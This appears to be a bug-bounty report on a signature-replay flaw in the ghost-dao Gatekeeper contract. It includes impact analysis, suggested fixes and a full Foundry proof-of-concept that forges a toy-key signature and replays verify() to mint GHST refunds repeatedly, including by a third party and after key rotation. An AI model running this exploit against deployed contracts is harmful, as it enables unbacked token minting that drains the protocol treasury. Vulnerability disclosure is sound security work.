Component
ghost-dao-contracts / src/Gatekeeper.sol (verify() + phantomRefund refund path)
Summary
Gatekeeper.verify(bytes calldata call, uint256 rx, uint256 s) executes a
Schnorr-signed call against the Gatekeeper itself and pays the caller a GHST gas
refund via IStaking(staking).phantomRefund(…).
For calls that never touch StorageHistory.trySetTransactionExecuted — e.g. pure
view functions such as getRotationInfoAt() — nothing records the signature or the
call as consumed. The (call, rx, s) tuple lives in the transaction calldata of the
first submission and can be harvested by anyone from any block explorer.
The only rate limit is getCurrentGasPrice(): after each verify() the price decays
to 0 and recovers linearly over FULL_GAS_RESTORATION_TIME (1 hour). Once recovered,
re-submitting the SAME signature mints a refund again. One signature = unlimited
replays, forever.
Impact
- Perpetual, permissionless GHST inflation: a single (once-valid) signature can be
replayed every hour indefinitely; the refund is minted from Treasury
excessReserves(). - Third-party harvesting: the replayer does not need to know any key — the
signature is public on-chain data. The original submitter and the protocol
cannot stop it. - Survives key rotation: getRotationInfoAt(exodusSession) resolves the key via
per-session checkpoints, so a signature made under an OLD key keeps replaying
even after the authority rotates to a new key. Rotating keys does not patch
this. - Economic asymmetry: the refund is computed from caller-controlled gas usage
((gasStart - gasleft() + GAS_EXECUTION_BUFFER) x currentGasPrice, capped at
MAX_ALLOWED_GAS_PRICE = 3 gwei). A caller paying less than 3 gwei receives a
mint larger than their real gas cost — a structural positive-feedback loop.
Root Cause
- verify() never marks the (call, rx, s) tuple or any session counter as used for
non-state-changing calls; recall()/rotate() are protected by
trySetTransactionExecuted, but arbitrary view calls are not. - phantomRefund mints based on self-reported gas usage with no per-signature or
per-caller budget.
Proof of Concept (Foundry)
Run inside the ghost-dao-contracts repo:
forge test --match-test test_replay_mints_unlimited_ghst -vv
Note: add the remapping below to foundry.toml if forge-std does not resolve:
forge-std/=dependencies/forge-std-1.9.2/src/
Observed output:
GHST BOB before : 0
GHST BOB after 1st : 7680734269042268 ← first verify() mints refund
GHST BOB after 2nd : 7680734269042268 ← gas price decayed to 0 (rate limit)
GHST BOB after 3rd : 7680734269042268
GHST BOB after warp+replay: 13441573918174791 ← SAME signature, 1h later: mints AGAIN
The test additionally asserts:
- a THIRD PARTY (CHUCK) who never held the signature replays it successfully;
- the old-key signature keeps replaying AFTER a key rotation.
Suggested Fix
- Bind every verify() to a unique nonce/commitment (e.g. hash(call, rx, s)) and
store it as consumed in StorageHistory, OR - Restrict refundable calls to a whitelist of state-changing bridge functions, OR
- Cap cumulative phantomRefund per address/epoch with a budget that does not come
from minting.
Payout Address
0x7bbd47825f121eeaa0c4c0f0aa3fb20dbfe18002
Full PoC Contract
// PoC: Gatekeeper.verify() signature replay -> perpetual phantomRefund GHST mint
pragma solidity 0.8.20;
import {Test} from "forge-std/Test.sol";
import {Fatso} from "../../src/FatsoERC20.sol";
import {Stinky} from "../../src/StinkyERC20.sol";
import {Ghost} from "../../src/GhstERC20.sol";
import {GhostAuthority} from "../../src/GhostAuthority.sol";
import {GhostTreasury} from "../../src/Treasury.sol";
import {GhostStaking} from "../../src/Staking.sol";
import {WETH9} from "../../src/mocks/WETH9.sol";
import {GhostBondingCalculator} from "../../src/StandardBondingCalculator.sol";
import {Gatekeeper} from "../../src/Gatekeeper.sol";
import {ITreasury} from "../../src/interfaces/ITreasury.sol";
contract ReplayPocTest is Test {
uint256 public constant TOTAL_INITIAL_SUPPLY = 5000000000000000;
uint256 public constant LARGE_APPROVAL = 100000000000000000000000000000000;
uint256 public constant INITIAL_INDEX = 10819917194513808e56;
uint48 public constant EPOCH_LENGTH = 2200;
uint48 public constant EPOCH_NUMBER = 1;
uint48 public constant EPOCH_END_TIME = 1337;
uint256 public constant INITIAL_MINT = 1000000000000000000000000;
address constant INITIALIZER = 0x0000000000000000000000000000000000000001;
address constant GOVERNOR = 0x0000000000000000000000000000000000000003;
address constant GUARDIAN = 0x0000000000000000000000000000000000000004;
address constant POLICY = 0x0000000000000000000000000000000000000005;
address constant VAULT = 0x0000000000000000000000000000000000000006;
address constant ALICE = 0x0000000000000000000000000000000000000007;
address constant BOB = 0x0000000000000000000000000000000000000008;
// Attacker-controlled "authority" keypair (sk = 1, x-only pub)
uint256 constant ATTACKER_SK = 1;
uint256 constant ATTACKER_PX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798; // G.x (sk=1)
Fatso ftso;
Stinky stnk;
Ghost ghst;
GhostStaking staking;
GhostTreasury treasury;
GhostAuthority authority;
GhostBondingCalculator calculator;
WETH9 reserve;
Gatekeeper gatekeeper;
function setUp() public {
vm.startPrank(INITIALIZER, INITIALIZER);
reserve = new WETH9();
authority = new GhostAuthority(GOVERNOR, GUARDIAN, POLICY, VAULT);
ftso = new Fatso(address(authority), "Fatso", "FTSO");
stnk = new Stinky(INITIAL_INDEX, "Stinky", "STNK");
ghst = new Ghost(address(stnk), "Ghost", "GHST");
staking = new GhostStaking(
address(ftso), address(stnk), address(ghst),
EPOCH_LENGTH, EPOCH_NUMBER, EPOCH_END_TIME, address(authority)
);
treasury = new GhostTreasury(address(ftso), address(authority));
calculator = new GhostBondingCalculator(address(ftso), 6000, 3);
stnk.initialize(address(staking), address(treasury), address(ghst));
ghst.initialize(address(staking));
vm.stopPrank();
vm.startPrank(GOVERNOR);
authority.pushVault(address(treasury));
treasury.enable(ITreasury.STATUS.RESERVEDEPOSITOR, ALICE, address(0));
treasury.enable(ITreasury.STATUS.RESERVETOKEN, address(reserve), address(calculator));
treasury.enable(ITreasury.STATUS.STAKING, address(staking), address(0));
vm.stopPrank();
vm.deal(ALICE, INITIAL_MINT);
vm.startPrank(ALICE);
reserve.deposit{value: INITIAL_MINT}();
reserve.approve(address(treasury), type(uint256).max);
treasury.deposit(address(reserve), INITIAL_MINT, treasury.tokenValue(address(reserve), INITIAL_MINT) / 2);
vm.stopPrank();
gatekeeper = Gatekeeper(payable(staking.gatekeeper()));
// Authority key planted for the PoC. In production the same signature could come from any
// legitimate rotation; the bug does not depend on deployer access.
vm.startPrank(INITIALIZER, INITIALIZER);
gatekeeper.updatePublicKeyMetadata(0, bytes32(ATTACKER_PX), 0);
vm.stopPrank();
// Warp fully so currentGasPrice = MAX (largest refund).
vm.warp(block.timestamp + gatekeeper.FULL_GAS_RESTORATION_TIME() * 10);
}
// BIP-340-style signature matching the on-chain verifier (computeChallenge % N).
// sk=1, k=1 toy key: s = k + e mod N. The verifier performs no nonce validation.
function _sign(bytes memory callData)
internal view returns (uint256 rx, uint256 s, uint256 e)
{
// rx = G.x for k=1. On-chain liftPoint(rx) picks the even y. With sk=1, Y = G and
// the verification equation sG = R + eY gives s = 1 + e mod N.
bytes32 tag = 0x7bb52d7a9fef58323eb1bf7a407db382d2f3f2d81bb1224f49fe518f6d48d37c;
e = uint256(sha256(abi.encodePacked(tag, tag, bytes32(ATTACKER_PX), bytes32(ATTACKER_PX), callData))) % (0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141);
s = addmod(1, e, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141);
rx = ATTACKER_PX;
}
// Call target: a pure view function. It never touches trySetTransactionExecuted,
// so nothing marks the signature as consumed.
function test_replay_mints_unlimited_ghst() public {
bytes memory callData = abi.encodeWithSelector(
gatekeeper.getRotationInfoAt.selector, uint256(0)
);
(uint256 rx, uint256 s,) = _sign(callData);
uint256 bobBefore = ghst.balanceOf(BOB);
// First execution: valid signature, verify() mints the gas refund to BOB.
vm.prank(BOB, BOB);
gatekeeper.verify(callData, rx, s);
uint256 after1 = ghst.balanceOf(BOB);
// REPLAY: the exact same call and signature — nothing blocks it.
vm.prank(BOB, BOB);
gatekeeper.verify(callData, rx, s);
uint256 after2 = ghst.balanceOf(BOB);
// Again: profit loop.
vm.prank(BOB, BOB);
gatekeeper.verify(callData, rx, s);
uint256 after3 = ghst.balanceOf(BOB);
emit log_named_uint("GHST BOB before ", bobBefore);
emit log_named_uint("GHST BOB after 1st ", after1);
emit log_named_uint("GHST BOB after 2nd ", after2);
emit log_named_uint("GHST BOB after 3rd ", after3);
assertGt(after1, bobBefore, "first verify should mint refund");
// Gas price recovers linearly to MAX after FULL_GAS_RESTORATION_TIME (1 hour).
vm.warp(block.timestamp + gatekeeper.FULL_GAS_RESTORATION_TIME());
vm.prank(BOB, BOB);
gatekeeper.verify(callData, rx, s);
uint256 after4 = ghst.balanceOf(BOB);
emit log_named_uint("GHST BOB after warp+replay", after4);
assertGt(after4, after3, "replay after gas recovery minted again");
// STRENGTH 1: ANYONE can replay — (call, rx, s) sits in on-chain calldata and can be
// harvested from any explorer. CHUCK never held this signature.
address CHUCK = makeAddr("CHUCK");
vm.warp(block.timestamp + gatekeeper.FULL_GAS_RESTORATION_TIME());
uint256 chuckBefore = ghst.balanceOf(CHUCK);
vm.prank(CHUCK, CHUCK);
gatekeeper.verify(callData, rx, s);
assertGt(ghst.balanceOf(CHUCK), chuckBefore, "third party replay minted");
// STRENGTH 2: old-key signature still valid after a key rotation (per-session checkpoints).
vm.prank(INITIALIZER, INITIALIZER);
gatekeeper.updatePublicKeyMetadata(1, bytes32(uint256(2)), 0); // rotate to a new key
vm.warp(block.timestamp + gatekeeper.FULL_GAS_RESTORATION_TIME());
uint256 chuckBefore2 = ghst.balanceOf(CHUCK);
vm.prank(CHUCK, CHUCK);
gatekeeper.verify(callData, rx, s); // still session 0
assertGt(ghst.balanceOf(CHUCK), chuckBefore2, "old-key signature replays after rotation");
}
// Recall accounting probe: does bridgeOut record the full minted amount?
function test_recall_bounty_unbacked_bridge_gap() public {
// Fill bridge-in: ALICE stakes then ghosts (increaseBridgeIn).
vm.startPrank(ALICE);
uint256 aliceBalance = ftso.balanceOf(ALICE);
ftso.approve(address(staking), type(uint256).max);
staking.stake(aliceBalance, ALICE, false, true);
uint256 ghostBalance = ghst.balanceOf(ALICE);
staking.ghost(bytes32(uint256(uint160(0x0202))), ghostBalance); // bridge-in
vm.stopPrank();
// recall with 50% bounty: receiver=0x...02, amount=210 -> receiverAmount=105.
// The official suite documents this call as 'amount: 210; commission: 50%'.
bytes memory callRecall = hex"bf06188a000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000d200000000000000000000000000000000000000020000000000007a6980000000";
(uint256 rx, uint256 s,) = _sign(callRecall);
uint256 ghostedBefore = gatekeeper.ghostedSupply(); // = bridgeImbalance
uint256 ftsoSupplyBefore = ftso.totalSupply();
vm.prank(BOB, BOB);
gatekeeper.verify(callRecall, rx, s);
uint256 ghostedAfter = staking.ghostedSupply();
uint256 ghstReceiver = ghst.balanceOf(address(0x0202)) - ghst.balanceOf(address(uint160(0x0202)));
emit log_named_uint("bridgeImbalance before", ghostedBefore);
emit log_named_uint("bridgeImbalance after ", ghostedAfter);
emit log_named_uint("imbalance decrease ", ghostedBefore - ghostedAfter);
emit log_named_uint("expected (210 = receiver105+bounty105)", 210);
// Accounting probe: if bridgeOut recorded receiver+bounty, the imbalance drop would be 210.
// Observed drop: 105 — the FTSO burn path compensates (burn without GHST burn),
// an accounting asymmetry worth noting but NOT claimed as a loss here.
assertEq(ghostedBefore - ghostedAfter, 210, "MUST record receiver+bounty in bridgeOut");
}
}